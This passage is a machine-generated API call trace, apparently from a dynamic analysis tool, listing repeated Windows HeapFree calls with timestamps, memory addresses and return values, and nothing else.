hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.218] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.219] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.221] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.222] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.224] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.225] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.227] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.228] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.230] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.231] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.232] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.234] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42fddf0 | out: hHeap=0x660000) returned 1 [0148.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.595] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.599] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.601] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.603] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.604] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.607] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.609] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0148.613] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.617] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0148.622] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.985] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.986] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.988] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.989] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.991] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.992] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.994] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.995] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.997] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0148.998] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.000] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.001] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.003] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.004] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.006] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.007] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.009] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.010] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.011] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.013] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.014] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.016] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.017] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.412] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.413] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.415] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.416] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.417] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.418] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.420] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.421] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.422] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.423] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.425] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.426] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.428] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.429] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.430] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.431] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.433] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.434] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.435] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.437] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.437] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.439] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.440] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.442] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.462] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.465] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.467] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.469] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.470] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.476] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.478] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.480] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.482] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.483] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.485] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.487] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.489] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.491] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.493] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.495] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.497] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.499] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.500] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.541] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.543] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.570] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.572] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.575] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.577] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.579] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.581] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.583] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.585] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.586] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.587] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.588] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.589] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.590] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.591] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.592] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.593] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42edde8 | out: hHeap=0x660000) returned 1 [0149.594] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.597] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.598] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.600] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.651] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.657] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.660] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.676] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.679] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.682] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.685] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.687] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.846] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x42ddde0 | out: hHeap=0x660000) returned 1 [0149.849] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.849] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.851] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.852] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.852] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.855] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.857] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.858] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.858] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.859] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.859] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.859] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.869] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.870] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0149.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0149.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0149.872] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0149.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.874] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.875] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.877] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.878] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.878] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.880] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0149.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x429ddd8 | out: hHeap=0x660000) returned 1 [0149.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x428ddd0 | out: hHeap=0x660000) returned 1 [0149.882] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.884] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0149.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.926] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.937] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3b70e18 | out: hHeap=0x660000) returned 1 [0149.949] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.949] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.949] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.949] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.949] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.950] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.950] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.950] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.950] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.950] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.950] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.951] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.951] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.951] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.951] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.951] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.951] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0149.952] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 